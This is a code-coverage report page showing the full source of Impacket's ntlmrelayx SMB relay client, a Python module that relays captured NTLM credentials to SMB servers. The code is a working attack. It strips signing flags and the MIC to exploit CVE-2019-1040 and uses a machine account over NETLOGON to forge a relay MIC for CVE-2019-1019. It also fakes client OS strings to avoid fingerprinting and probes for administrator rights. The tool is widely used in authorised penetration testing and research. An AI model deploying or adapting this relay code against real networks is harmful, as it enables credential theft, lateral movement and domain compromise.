Coverage for /root/GitHubProjects/impacket/impacket/examples/ntlmrelayx/clients/smbrelayclient.py : 9%

Hot-keys on this page
r m x p toggle line displays
j k next/prev highlighted chunk
0 (zero) top of page
1 (one) first highlighted chunk
1# Impacket - Collection of Python classes for working with network protocols.
2#
3# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved.
4#
5# This software is provided under a slightly modified version
6# of the Apache Software License. See the accompanying LICENSE file
7# for more information.
8#
9# Description:
10# SMB Relay Protocol Client
11# This is the SMB client which initiates the connection to an
12# SMB server and relays the credentials to this server.
13#
14# Author:
15# Alberto Solino (@agsolino)
16#
18import logging
19import os
21from binascii import unhexlify, hexlify
22from struct import unpack, pack
23from socket import error as socketerror
24from impacket.dcerpc.v5.rpcrt import DCERPCException
25from impacket.dcerpc.v5 import nrpc
26from impacket.dcerpc.v5 import transport
27from impacket.dcerpc.v5.ndr import NULL
28from impacket import LOG
29from impacket.examples.ntlmrelayx.clients import ProtocolClient
30from impacket.examples.ntlmrelayx.servers.socksserver import KEEP_ALIVE_TIMER
31from impacket.nt_errors import STATUS_SUCCESS, STATUS_ACCESS_DENIED, STATUS_LOGON_FAILURE
32from impacket.ntlm import NTLMAuthNegotiate, NTLMSSP_NEGOTIATE_ALWAYS_SIGN, NTLMAuthChallenge, NTLMAuthChallengeResponse, \
33 generateEncryptedSessionKey, hmac_md5
34from impacket.smb import SMB, NewSMBPacket, SMBCommand, SMBSessionSetupAndX_Extended_Parameters, \
35 SMBSessionSetupAndX_Extended_Data, SMBSessionSetupAndX_Extended_Response_Data, \
36 SMBSessionSetupAndX_Extended_Response_Parameters, SMBSessionSetupAndX_Data, SMBSessionSetupAndX_Parameters
37from impacket.smb3 import SMB3, SMB2_GLOBAL_CAP_ENCRYPTION, SMB2_DIALECT_WILDCARD, SMB2Negotiate_Response, \
38 SMB2_NEGOTIATE, SMB2Negotiate, SMB2_DIALECT_002, SMB2_DIALECT_21, SMB2_DIALECT_30, SMB2_GLOBAL_CAP_LEASING, \
39 SMB3Packet, SMB2_GLOBAL_CAP_LARGE_MTU, SMB2_GLOBAL_CAP_DIRECTORY_LEASING, SMB2_GLOBAL_CAP_MULTI_CHANNEL, \
40 SMB2_GLOBAL_CAP_PERSISTENT_HANDLES, SMB2_NEGOTIATE_SIGNING_REQUIRED, SMB2Packet,SMB2SessionSetup, SMB2_SESSION_SETUP, STATUS_MORE_PROCESSING_REQUIRED, SMB2SessionSetup_Response
41from impacket.smbconnection import SMBConnection, SMB_DIALECT
42from impacket.ntlm import NTLMAuthChallenge, NTLMAuthNegotiate, NTLMSSP_NEGOTIATE_SIGN, NTLMSSP_NEGOTIATE_ALWAYS_SIGN, NTLMAuthChallengeResponse, NTLMSSP_NEGOTIATE_KEY_EXCH, NTLMSSP_NEGOTIATE_VERSION
43from impacket.spnego import SPNEGO_NegTokenInit, SPNEGO_NegTokenResp, TypesMech
44from impacket.dcerpc.v5.transport import SMBTransport
45from impacket.dcerpc.v5 import scmr
47PROTOCOL_CLIENT_CLASS = "SMBRelayClient"
49class MYSMB(SMB):
50 def __init__(self, remoteName, sessPort = 445, extendedSecurity = True, nmbSession = None, negPacket=None):
51 self.extendedSecurity = extendedSecurity
52 SMB.__init__(self,remoteName, remoteName, sess_port = sessPort, session=nmbSession, negPacket=negPacket)
54 def neg_session(self, negPacket=None):
55 return SMB.neg_session(self, extended_security=self.extendedSecurity, negPacket=negPacket)
57class MYSMB3(SMB3):
58 def __init__(self, remoteName, sessPort = 445, extendedSecurity = True, nmbSession = None, negPacket=None, preferredDialect=None):
59 self.extendedSecurity = extendedSecurity
60 SMB3.__init__(self,remoteName, remoteName, sess_port = sessPort, session=nmbSession, negSessionResponse=SMB2Packet(negPacket), preferredDialect=preferredDialect)
62 def negotiateSession(self, preferredDialect = None, negSessionResponse = None):
63 # We DON'T want to sign
64 self._Connection['ClientSecurityMode'] = 0
66 if self.RequireMessageSigning is True:
67 LOG.error('Signing is required, attack won\'t work unless using -remove-target / --remove-mic')
68 return
70 self._Connection['Capabilities'] = SMB2_GLOBAL_CAP_ENCRYPTION
71 currentDialect = SMB2_DIALECT_WILDCARD
73 # Do we have a negSessionPacket already?
74 if negSessionResponse is not None:
75 # Yes, let's store the dialect answered back
76 negResp = SMB2Negotiate_Response(negSessionResponse['Data'])
77 currentDialect = negResp['DialectRevision']
79 if currentDialect == SMB2_DIALECT_WILDCARD:
80 # Still don't know the chosen dialect, let's send our options
82 packet = self.SMB_PACKET()
83 packet['Command'] = SMB2_NEGOTIATE
84 negSession = SMB2Negotiate()
86 negSession['SecurityMode'] = self._Connection['ClientSecurityMode']
87 negSession['Capabilities'] = self._Connection['Capabilities']
88 negSession['ClientGuid'] = self.ClientGuid
89 if preferredDialect is not None:
90 negSession['Dialects'] = [preferredDialect]
91 else:
92 negSession['Dialects'] = [SMB2_DIALECT_002, SMB2_DIALECT_21, SMB2_DIALECT_30]
93 negSession['DialectCount'] = len(negSession['Dialects'])
94 packet['Data'] = negSession
96 packetID = self.sendSMB(packet)
97 ans = self.recvSMB(packetID)
98 if ans.isValidAnswer(STATUS_SUCCESS):
99 negResp = SMB2Negotiate_Response(ans['Data'])
101 self._Connection['MaxTransactSize'] = min(0x100000,negResp['MaxTransactSize'])
102 self._Connection['MaxReadSize'] = min(0x100000,negResp['MaxReadSize'])
103 self._Connection['MaxWriteSize'] = min(0x100000,negResp['MaxWriteSize'])
104 self._Connection['ServerGuid'] = negResp['ServerGuid']
105 self._Connection['GSSNegotiateToken'] = negResp['Buffer']
106 self._Connection['Dialect'] = negResp['DialectRevision']
107 if (negResp['SecurityMode'] & SMB2_NEGOTIATE_SIGNING_REQUIRED) == SMB2_NEGOTIATE_SIGNING_REQUIRED:
108 LOG.error('Signing is required, attack won\'t work unless using -remove-target / --remove-mic')
109 return
110 if (negResp['Capabilities'] & SMB2_GLOBAL_CAP_LEASING) == SMB2_GLOBAL_CAP_LEASING:
111 self._Connection['SupportsFileLeasing'] = True
112 if (negResp['Capabilities'] & SMB2_GLOBAL_CAP_LARGE_MTU) == SMB2_GLOBAL_CAP_LARGE_MTU:
113 self._Connection['SupportsMultiCredit'] = True
115 if self._Connection['Dialect'] == SMB2_DIALECT_30:
116 # Switching to the right packet format
117 self.SMB_PACKET = SMB3Packet
118 if (negResp['Capabilities'] & SMB2_GLOBAL_CAP_DIRECTORY_LEASING) == SMB2_GLOBAL_CAP_DIRECTORY_LEASING:
119 self._Connection['SupportsDirectoryLeasing'] = True
120 if (negResp['Capabilities'] & SMB2_GLOBAL_CAP_MULTI_CHANNEL) == SMB2_GLOBAL_CAP_MULTI_CHANNEL:
121 self._Connection['SupportsMultiChannel'] = True
122 if (negResp['Capabilities'] & SMB2_GLOBAL_CAP_PERSISTENT_HANDLES) == SMB2_GLOBAL_CAP_PERSISTENT_HANDLES:
123 self._Connection['SupportsPersistentHandles'] = True
124 if (negResp['Capabilities'] & SMB2_GLOBAL_CAP_ENCRYPTION) == SMB2_GLOBAL_CAP_ENCRYPTION:
125 self._Connection['SupportsEncryption'] = True
127 self._Connection['ServerCapabilities'] = negResp['Capabilities']
128 self._Connection['ServerSecurityMode'] = negResp['SecurityMode']
130class SMBRelayClient(ProtocolClient):
131 PLUGIN_NAME = "SMB"
132 def __init__(self, serverConfig, target, targetPort = 445, extendedSecurity=True ):
133 ProtocolClient.__init__(self, serverConfig, target, targetPort, extendedSecurity)
134 self.extendedSecurity = extendedSecurity
136 self.machineAccount = None
137 self.machineHashes = None
138 self.sessionData = {}
140 self.negotiateMessage = None
141 self.challengeMessage = None
142 self.serverChallenge = None
144 self.keepAliveHits = 1
146 def netlogonSessionKey(self, authenticateMessageBlob):
147 # Here we will use netlogon to get the signing session key
148 logging.info("Connecting to %s NETLOGON service" % self.serverConfig.domainIp)
150 #respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob)
151 authenticateMessage = NTLMAuthChallengeResponse()
152 authenticateMessage.fromString(authenticateMessageBlob)
153 _, machineAccount = self.serverConfig.machineAccount.split('/')
154 domainName = authenticateMessage['domain_name'].decode('utf-16le')
156 try:
157 serverName = machineAccount[:len(machineAccount)-1]
158 except:
159 # We're in NTLMv1, not supported
160 return STATUS_ACCESS_DENIED
162 stringBinding = r'ncacn_np:%s[\PIPE\netlogon]' % self.serverConfig.domainIp
164 rpctransport = transport.DCERPCTransportFactory(stringBinding)
166 if len(self.serverConfig.machineHashes) > 0:
167 lmhash, nthash = self.serverConfig.machineHashes.split(':')
168 else:
169 lmhash = ''
170 nthash = ''
172 if hasattr(rpctransport, 'set_credentials'):
173 # This method exists only for selected protocol sequences.
174 rpctransport.set_credentials(machineAccount, '', domainName, lmhash, nthash)
176 dce = rpctransport.get_dce_rpc()
177 dce.connect()
178 dce.bind(nrpc.MSRPC_UUID_NRPC)
179 resp = nrpc.hNetrServerReqChallenge(dce, NULL, serverName+'\x00', b'12345678')
181 serverChallenge = resp['ServerChallenge']
183 if self.serverConfig.machineHashes == '':
184 ntHash = None
185 else:
186 ntHash = unhexlify(self.serverConfig.machineHashes.split(':')[1])
188 sessionKey = nrpc.ComputeSessionKeyStrongKey('', b'12345678', serverChallenge, ntHash)
190 ppp = nrpc.ComputeNetlogonCredential(b'12345678', sessionKey)
192 nrpc.hNetrServerAuthenticate3(dce, NULL, machineAccount + '\x00',
193 nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel, serverName + '\x00',
194 ppp, 0x600FFFFF)
196 clientStoredCredential = pack('<Q', unpack('<Q', ppp)[0] + 10)
198 # Now let's try to verify the security blob against the PDC
200 request = nrpc.NetrLogonSamLogonWithFlags()
201 request['LogonServer'] = '\x00'
202 request['ComputerName'] = serverName + '\x00'
203 request['ValidationLevel'] = nrpc.NETLOGON_VALIDATION_INFO_CLASS.NetlogonValidationSamInfo4
205 request['LogonLevel'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkTransitiveInformation
206 request['LogonInformation']['tag'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkTransitiveInformation
207 request['LogonInformation']['LogonNetworkTransitive']['Identity']['LogonDomainName'] = domainName
208 request['LogonInformation']['LogonNetworkTransitive']['Identity']['ParameterControl'] = 0
209 request['LogonInformation']['LogonNetworkTransitive']['Identity']['UserName'] = authenticateMessage[
210 'user_name'].decode('utf-16le')
211 request['LogonInformation']['LogonNetworkTransitive']['Identity']['Workstation'] = ''
212 request['LogonInformation']['LogonNetworkTransitive']['LmChallenge'] = self.serverChallenge
213 request['LogonInformation']['LogonNetworkTransitive']['NtChallengeResponse'] = authenticateMessage['ntlm']
214 request['LogonInformation']['LogonNetworkTransitive']['LmChallengeResponse'] = authenticateMessage['lanman']
216 authenticator = nrpc.NETLOGON_AUTHENTICATOR()
217 authenticator['Credential'] = nrpc.ComputeNetlogonCredential(clientStoredCredential, sessionKey)
218 authenticator['Timestamp'] = 10
220 request['Authenticator'] = authenticator
221 request['ReturnAuthenticator']['Credential'] = b'\x00' * 8
222 request['ReturnAuthenticator']['Timestamp'] = 0
223 request['ExtraFlags'] = 0
224 # request.dump()
225 try:
226 resp = dce.request(request)
227 # resp.dump()
228 except DCERPCException as e:
229 if logging.getLogger().level == logging.DEBUG:
230 import traceback
231 traceback.print_exc()
232 logging.error(str(e))
233 return e.get_error_code()
235 logging.info("%s\\%s successfully validated through NETLOGON" % (
236 domainName, authenticateMessage['user_name'].decode('utf-16le')))
238 encryptedSessionKey = authenticateMessage['session_key']
239 if encryptedSessionKey != b'':
240 signingKey = generateEncryptedSessionKey(
241 resp['ValidationInformation']['ValidationSam4']['UserSessionKey'], encryptedSessionKey)
242 else:
243 signingKey = resp['ValidationInformation']['ValidationSam4']['UserSessionKey']
245 logging.info("SMB Signing key: %s " % hexlify(signingKey).decode('utf-8'))
247 return STATUS_SUCCESS, signingKey
249 def keepAlive(self):
250 # SMB Keep Alive more or less every 5 minutes
251 if self.keepAliveHits >= (250 / KEEP_ALIVE_TIMER):
252 # Time to send a packet
253 # Just a tree connect / disconnect to avoid the session timeout
254 tid = self.session.connectTree('IPC$')
255 self.session.disconnectTree(tid)
256 self.keepAliveHits = 1
257 else:
258 self.keepAliveHits +=1
260 def killConnection(self):
261 if self.session is not None:
262 self.session.close()
263 self.session = None
265 def initConnection(self):
266 self.session = SMBConnection(self.targetHost, self.targetHost, sess_port= self.targetPort, manualNegotiate=True)
267 #,preferredDialect=SMB_DIALECT)
268 if self.serverConfig.smb2support is True:
269 data = '\x02NT LM 0.12\x00\x02SMB 2.002\x00\x02SMB 2.???\x00'
270 else:
271 data = '\x02NT LM 0.12\x00'
273 if self.extendedSecurity is True:
274 flags2 = SMB.FLAGS2_EXTENDED_SECURITY | SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_LONG_NAMES
275 else:
276 flags2 = SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_LONG_NAMES
277 try:
278 packet = self.session.negotiateSessionWildcard(None, self.targetHost, self.targetHost, self.targetPort, 60, self.extendedSecurity,
279 flags1=SMB.FLAGS1_PATHCASELESS | SMB.FLAGS1_CANONICALIZED_PATHS,
280 flags2=flags2, data=data)
281 except Exception as e:
282 if not self.serverConfig.smb2support:
283 LOG.error('SMBClient error: Connection was reset. Possibly the target has SMBv1 disabled. Try running ntlmrelayx with -smb2support')
284 else:
285 LOG.error('SMBClient error: Connection was reset')
286 return False
287 if packet[0:1] == b'\xfe':
288 preferredDialect = None
289 # Currently only works with SMB2_DIALECT_002 or SMB2_DIALECT_21
290 if self.serverConfig.remove_target:
291 preferredDialect = SMB2_DIALECT_21
292 smbClient = MYSMB3(self.targetHost, self.targetPort, self.extendedSecurity,nmbSession=self.session.getNMBServer(),
293 negPacket=packet, preferredDialect=preferredDialect)
294 else:
295 # Answer is SMB packet, sticking to SMBv1
296 smbClient = MYSMB(self.targetHost, self.targetPort, self.extendedSecurity,nmbSession=self.session.getNMBServer(),
297 negPacket=packet)
299 self.session = SMBConnection(self.targetHost, self.targetHost, sess_port= self.targetPort,
300 existingConnection=smbClient, manualNegotiate=True)
302 return True
304 def setUid(self,uid):
305 self._uid = uid
307 def sendNegotiate(self, negotiateMessage):
308 negoMessage = NTLMAuthNegotiate()
309 negoMessage.fromString(negotiateMessage)
310 # When exploiting CVE-2019-1040, remove flags
311 if self.serverConfig.remove_mic:
312 if negoMessage['flags'] & NTLMSSP_NEGOTIATE_SIGN == NTLMSSP_NEGOTIATE_SIGN:
313 negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_SIGN
314 if negoMessage['flags'] & NTLMSSP_NEGOTIATE_ALWAYS_SIGN == NTLMSSP_NEGOTIATE_ALWAYS_SIGN:
315 negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_ALWAYS_SIGN
316 if negoMessage['flags'] & NTLMSSP_NEGOTIATE_KEY_EXCH == NTLMSSP_NEGOTIATE_KEY_EXCH:
317 negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_KEY_EXCH
318 if negoMessage['flags'] & NTLMSSP_NEGOTIATE_VERSION == NTLMSSP_NEGOTIATE_VERSION:
319 negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_VERSION
321 negotiateMessage = negoMessage.getData()
323 challenge = NTLMAuthChallenge()
324 if self.session.getDialect() == SMB_DIALECT:
325 challenge.fromString(self.sendNegotiatev1(negotiateMessage))
326 else:
327 challenge.fromString(self.sendNegotiatev2(negotiateMessage))
329 self.negotiateMessage = negotiateMessage
330 self.challengeMessage = challenge.getData()
332 # Store the Challenge in our session data dict. It will be used by the SMB Proxy
333 self.sessionData['CHALLENGE_MESSAGE'] = challenge
334 self.serverChallenge = challenge['challenge']
336 return challenge
338 def sendNegotiatev2(self, negotiateMessage):
339 v2client = self.session.getSMBServer()
341 sessionSetup = SMB2SessionSetup()
342 sessionSetup['Flags'] = 0
344 sessionSetup['SecurityBufferLength'] = len(negotiateMessage)
345 sessionSetup['Buffer'] = negotiateMessage
347 packet = v2client.SMB_PACKET()
348 packet['Command'] = SMB2_SESSION_SETUP
349 packet['Data'] = sessionSetup
351 packetID = v2client.sendSMB(packet)
352 ans = v2client.recvSMB(packetID)
353 if ans.isValidAnswer(STATUS_MORE_PROCESSING_REQUIRED):
354 v2client._Session['SessionID'] = ans['SessionID']
355 sessionSetupResponse = SMB2SessionSetup_Response(ans['Data'])
356 return sessionSetupResponse['Buffer']
358 return False
360 def sendNegotiatev1(self, negotiateMessage):
361 v1client = self.session.getSMBServer()
363 smb = NewSMBPacket()
364 smb['Flags1'] = SMB.FLAGS1_PATHCASELESS
365 smb['Flags2'] = SMB.FLAGS2_EXTENDED_SECURITY
366 # Are we required to sign SMB? If so we do it, if not we skip it
367 if v1client.is_signing_required():
368 smb['Flags2'] |= SMB.FLAGS2_SMB_SECURITY_SIGNATURE
370 # Just in case, clear the Unicode Flag
371 flags2 = v1client.get_flags ()[1]
372 v1client.set_flags(flags2=flags2 & (~SMB.FLAGS2_UNICODE))
374 sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX)
375 sessionSetup['Parameters'] = SMBSessionSetupAndX_Extended_Parameters()
376 sessionSetup['Data'] = SMBSessionSetupAndX_Extended_Data()
378 sessionSetup['Parameters']['MaxBufferSize'] = 65535
379 sessionSetup['Parameters']['MaxMpxCount'] = 2
380 sessionSetup['Parameters']['VcNumber'] = 1
381 sessionSetup['Parameters']['SessionKey'] = 0
382 sessionSetup['Parameters']['Capabilities'] = SMB.CAP_EXTENDED_SECURITY | SMB.CAP_USE_NT_ERRORS | SMB.CAP_UNICODE
384 # Let's build a NegTokenInit with the NTLMSSP
385 # TODO: In the future we should be able to choose different providers
387 #blob = SPNEGO_NegTokenInit()
389 # NTLMSSP
390 #blob['MechTypes'] = [TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']]
391 #blob['MechToken'] = negotiateMessage
393 #sessionSetup['Parameters']['SecurityBlobLength'] = len(blob)
394 sessionSetup['Parameters']['SecurityBlobLength'] = len(negotiateMessage)
395 sessionSetup['Parameters'].getData()
396 #sessionSetup['Data']['SecurityBlob'] = blob.getData()
397 sessionSetup['Data']['SecurityBlob'] = negotiateMessage
399 # Fake Data here, don't want to get us fingerprinted
400 sessionSetup['Data']['NativeOS'] = 'Unix'
401 sessionSetup['Data']['NativeLanMan'] = 'Samba'
403 smb.addCommand(sessionSetup)
404 v1client.sendSMB(smb)
405 smb = v1client.recvSMB()
407 try:
408 smb.isValidAnswer(SMB.SMB_COM_SESSION_SETUP_ANDX)
409 except Exception:
410 LOG.error("SessionSetup Error!")
411 raise
412 else:
413 # We will need to use this uid field for all future requests/responses
414 v1client.set_uid(smb['Uid'])
416 # Now we have to extract the blob to continue the auth process
417 sessionResponse = SMBCommand(smb['Data'][0])
418 sessionParameters = SMBSessionSetupAndX_Extended_Response_Parameters(sessionResponse['Parameters'])
419 sessionData = SMBSessionSetupAndX_Extended_Response_Data(flags = smb['Flags2'])
420 sessionData['SecurityBlobLength'] = sessionParameters['SecurityBlobLength']
421 sessionData.fromString(sessionResponse['Data'])
422 #respToken = SPNEGO_NegTokenResp(sessionData['SecurityBlob'])
424 #return respToken['ResponseToken']
425 return sessionData['SecurityBlob']
427 def sendStandardSecurityAuth(self, sessionSetupData):
428 v1client = self.session.getSMBServer()
429 flags2 = v1client.get_flags()[1]
430 v1client.set_flags(flags2=flags2 & (~SMB.FLAGS2_EXTENDED_SECURITY))
431 if sessionSetupData['Account'] != '':
432 smb = NewSMBPacket()
433 smb['Flags1'] = 8
435 sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX)
436 sessionSetup['Parameters'] = SMBSessionSetupAndX_Parameters()
437 sessionSetup['Data'] = SMBSessionSetupAndX_Data()
439 sessionSetup['Parameters']['MaxBuffer'] = 65535
440 sessionSetup['Parameters']['MaxMpxCount'] = 2
441 sessionSetup['Parameters']['VCNumber'] = os.getpid()
442 sessionSetup['Parameters']['SessionKey'] = v1client._dialects_parameters['SessionKey']
443 sessionSetup['Parameters']['AnsiPwdLength'] = len(sessionSetupData['AnsiPwd'])
444 sessionSetup['Parameters']['UnicodePwdLength'] = len(sessionSetupData['UnicodePwd'])
445 sessionSetup['Parameters']['Capabilities'] = SMB.CAP_RAW_MODE
447 sessionSetup['Data']['AnsiPwd'] = sessionSetupData['AnsiPwd']
448 sessionSetup['Data']['UnicodePwd'] = sessionSetupData['UnicodePwd']
449 sessionSetup['Data']['Account'] = sessionSetupData['Account']
450 sessionSetup['Data']['PrimaryDomain'] = sessionSetupData['PrimaryDomain']
451 sessionSetup['Data']['NativeOS'] = 'Unix'
452 sessionSetup['Data']['NativeLanMan'] = 'Samba'
454 smb.addCommand(sessionSetup)
456 v1client.sendSMB(smb)
457 smb = v1client.recvSMB()
458 try:
459 smb.isValidAnswer(SMB.SMB_COM_SESSION_SETUP_ANDX)
460 except:
461 return None, STATUS_LOGON_FAILURE
462 else:
463 v1client.set_uid(smb['Uid'])
464 return smb, STATUS_SUCCESS
465 else:
466 # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials
467 clientResponse = None
468 errorCode = STATUS_ACCESS_DENIED
470 return clientResponse, errorCode
472 def sendAuth(self, authenticateMessageBlob, serverChallenge=None):
474 # When exploiting CVE-2019-1040, remove flags
475 if self.serverConfig.remove_mic:
476 authMessage = NTLMAuthChallengeResponse()
477 authMessage.fromString(authenticateMessageBlob)
478 if authMessage['flags'] & NTLMSSP_NEGOTIATE_SIGN == NTLMSSP_NEGOTIATE_SIGN:
479 authMessage['flags'] ^= NTLMSSP_NEGOTIATE_SIGN
480 if authMessage['flags'] & NTLMSSP_NEGOTIATE_ALWAYS_SIGN == NTLMSSP_NEGOTIATE_ALWAYS_SIGN:
481 authMessage['flags'] ^= NTLMSSP_NEGOTIATE_ALWAYS_SIGN
482 if authMessage['flags'] & NTLMSSP_NEGOTIATE_KEY_EXCH == NTLMSSP_NEGOTIATE_KEY_EXCH:
483 authMessage['flags'] ^= NTLMSSP_NEGOTIATE_KEY_EXCH
484 if authMessage['flags'] & NTLMSSP_NEGOTIATE_VERSION == NTLMSSP_NEGOTIATE_VERSION:
485 authMessage['flags'] ^= NTLMSSP_NEGOTIATE_VERSION
486 authMessage['MIC'] = b''
487 authMessage['MICLen'] = 0
488 authMessage['Version'] = b''
489 authMessage['VersionLen'] = 0
490 authenticateMessageBlob = authMessage.getData()
492 #if unpack('B', str(authenticateMessageBlob)[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP:
493 # # We need to unwrap SPNEGO and get the NTLMSSP
494 # respToken = SPNEGO_NegTokenResp(authenticateMessageBlob)
495 # authData = respToken['ResponseToken']
496 #else:
497 authData = authenticateMessageBlob
499 signingKey = None
500 if self.serverConfig.remove_target:
501 # Trying to exploit CVE-2019-1019
502 # Discovery and Implementation by @simakov_marina and @YaronZi
503 # respToken2 = SPNEGO_NegTokenResp(authData)
504 authenticateMessageBlob = authData
506 errorCode, signingKey = self.netlogonSessionKey(authData)
508 # Recalculate MIC
509 res = NTLMAuthChallengeResponse()
510 res.fromString(authenticateMessageBlob)
512 newAuthBlob = authenticateMessageBlob[0:0x48] + b'\x00'*16 + authenticateMessageBlob[0x58:]
513 relay_MIC = hmac_md5(signingKey, self.negotiateMessage + self.challengeMessage + newAuthBlob)
515 respToken2 = SPNEGO_NegTokenResp()
516 respToken2['ResponseToken'] = authenticateMessageBlob[0:0x48] + relay_MIC + authenticateMessageBlob[0x58:]
517 authData = authenticateMessageBlob[0:0x48] + relay_MIC + authenticateMessageBlob[0x58:]
518 #authData = respToken2.getData()
520 if self.session.getDialect() == SMB_DIALECT:
521 token, errorCode = self.sendAuthv1(authData, serverChallenge)
522 else:
523 token, errorCode = self.sendAuthv2(authData, serverChallenge)
525 if signingKey:
526 logging.info("Enabling session signing")
527 self.session._SMBConnection.set_session_key(signingKey)
529 return token, errorCode
531 def sendAuthv2(self, authenticateMessageBlob, serverChallenge=None):
532 if unpack('B', authenticateMessageBlob[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP:
533 # We need to unwrap SPNEGO and get the NTLMSSP
534 respToken = SPNEGO_NegTokenResp(authenticateMessageBlob)
535 authData = respToken['ResponseToken']
536 else:
537 authData = authenticateMessageBlob
539 v2client = self.session.getSMBServer()
541 sessionSetup = SMB2SessionSetup()
542 sessionSetup['Flags'] = 0
544 packet = v2client.SMB_PACKET()
545 packet['Command'] = SMB2_SESSION_SETUP
546 packet['Data'] = sessionSetup
548 # Reusing the previous structure
549 sessionSetup['SecurityBufferLength'] = len(authData)
550 sessionSetup['Buffer'] = authData
552 packetID = v2client.sendSMB(packet)
553 packet = v2client.recvSMB(packetID)
555 return packet, packet['Status']
557 def sendAuthv1(self, authenticateMessageBlob, serverChallenge=None):
558 if unpack('B', authenticateMessageBlob[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP:
559 # We need to unwrap SPNEGO and get the NTLMSSP
560 respToken = SPNEGO_NegTokenResp(authenticateMessageBlob)
561 authData = respToken['ResponseToken']
562 else:
563 authData = authenticateMessageBlob
565 v1client = self.session.getSMBServer()
567 smb = NewSMBPacket()
568 smb['Flags1'] = SMB.FLAGS1_PATHCASELESS
569 smb['Flags2'] = SMB.FLAGS2_EXTENDED_SECURITY | SMB.FLAGS2_UNICODE
570 # Are we required to sign SMB? If so we do it, if not we skip it
571 if v1client.is_signing_required():
572 smb['Flags2'] |= SMB.FLAGS2_SMB_SECURITY_SIGNATURE
573 smb['Uid'] = v1client.get_uid()
575 sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX)
576 sessionSetup['Parameters'] = SMBSessionSetupAndX_Extended_Parameters()
577 sessionSetup['Data'] = SMBSessionSetupAndX_Extended_Data()
579 sessionSetup['Parameters']['MaxBufferSize'] = 65535
580 sessionSetup['Parameters']['MaxMpxCount'] = 2
581 sessionSetup['Parameters']['VcNumber'] = 1
582 sessionSetup['Parameters']['SessionKey'] = 0
583 sessionSetup['Parameters']['Capabilities'] = SMB.CAP_EXTENDED_SECURITY | SMB.CAP_USE_NT_ERRORS | SMB.CAP_UNICODE
585 # Fake Data here, don't want to get us fingerprinted
586 sessionSetup['Data']['NativeOS'] = 'Unix'
587 sessionSetup['Data']['NativeLanMan'] = 'Samba'
589 sessionSetup['Parameters']['SecurityBlobLength'] = len(authData)
590 sessionSetup['Data']['SecurityBlob'] = authData
591 smb.addCommand(sessionSetup)
592 v1client.sendSMB(smb)
594 smb = v1client.recvSMB()
596 errorCode = smb['ErrorCode'] << 16
597 errorCode += smb['_reserved'] << 8
598 errorCode += smb['ErrorClass']
600 return smb, errorCode
602 def getStandardSecurityChallenge(self):
603 if self.session.getDialect() == SMB_DIALECT:
604 return self.session.getSMBServer().get_encryption_key()
605 else:
606 return None
608 def isAdmin(self):
609 rpctransport = SMBTransport(self.session.getRemoteHost(), 445, r'\svcctl', smb_connection=self.session)
610 dce = rpctransport.get_dce_rpc()
611 try:
612 dce.connect()
613 except:
614 pass
615 else:
616 dce.bind(scmr.MSRPC_UUID_SCMR)
617 try:
618 # 0xF003F - SC_MANAGER_ALL_ACCESS
619 # http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx
620 ans = scmr.hROpenSCManagerW(dce,'{}\x00'.format(self.target.hostname),'ServicesActive\x00', 0xF003F)
621 return "TRUE"
622 except scmr.DCERPCException as e:
623 pass
624 return "FALSE"